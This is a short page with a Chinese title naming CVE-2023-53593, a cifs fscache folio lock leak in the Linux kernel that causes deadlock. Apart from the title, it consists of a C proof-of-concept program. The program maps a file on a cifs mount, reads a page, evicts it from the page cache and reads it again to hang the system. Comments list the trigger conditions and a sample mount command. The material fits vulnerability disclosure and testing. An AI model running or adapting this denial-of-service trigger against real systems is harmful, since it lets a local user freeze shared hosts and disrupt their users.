CVE-2023-53593 Linux内核cifs文件系统folio锁泄漏导致死锁漏洞

// PoC for CVE-2023-53593 - Linux kernel cifs fscache folio lock leak // This PoC demonstrates how to trigger the deadlock condition #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #define FILE_SIZE (4096 * 10) // 10 pages #define PAGE_SIZE 4096 int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <cifs_mounted_file>\n", argv[0]); fprintf(stderr, "Note: Requires cifs mount with fscache enabled\n"); return 1; } const char *filepath = argv[1]; int fd; void *mapped; // Step 1: Open the file on a cifs mount with fscache enabled fd = open(filepath, O_RDONLY); if (fd < 0) { perror("open"); return 1; } // Step 2: mmap the file to trigger filemap_fault path mapped = mmap(NULL, FILE_SIZE, PROT_READ, MAP_PRIVATE, fd, 0); if (mapped == MAP_FAILED) { perror("mmap"); close(fd); return 1; } // Step 3: First read - triggers cifs_readpage_worker with fscache miss // This populates the fscache printf("First access (fscache miss) - reading page...\n"); volatile char c = ((char *)mapped)[0]; (void)c; // Step 4: Drop the page from page cache to force fscache re-fetch // On next access, fscache hit occurs, triggering the bug printf("Dropping page cache to force fscache hit on next access...\n"); if (posix_fadvise(fd, 0, FILE_SIZE, POSIX_FADV_DONTNEED) != 0) { perror("posix_fadvise"); } // Step 5: Second access via mmap - triggers fscache cache hit // This is where the folio lock leak occurs printf("Second access (fscache hit) - this triggers the lock leak...\n"); // Touch the page to trigger filemap_fault -> filemap_read_folio c = ((char *)mapped)[0]; (void)c; // Step 6: Third access - the page is now locked, causing deadlock printf("Third access - system may hang here due to deadlock...\n"); c = ((char *)mapped)[0]; (void)c; printf("If you see this, the bug was not triggered.\n"); munmap(mapped, FILE_SIZE); close(fd); return 0; } /* * Trigger conditions: * 1. Linux kernel with cifs module compiled with fscache support * 2. A cifs filesystem mounted with -o fsc (fscache enabled) * 3. Local user access to files on the cifs mount * 4. File must be read at least once (to populate fscache) * 5. Page cache must be evicted (fscache hit on re-read) * 6. Subsequent mmap access will deadlock * * To mount with fscache: * mount -t cifs -o fsc,username=user,password=pass //server/share /mnt/cifs * * After triggering, check the stuck task: * cat /proc/<pid>/task/<tid>/stack * Expected output shows deadlock in folio_wait_bit_common */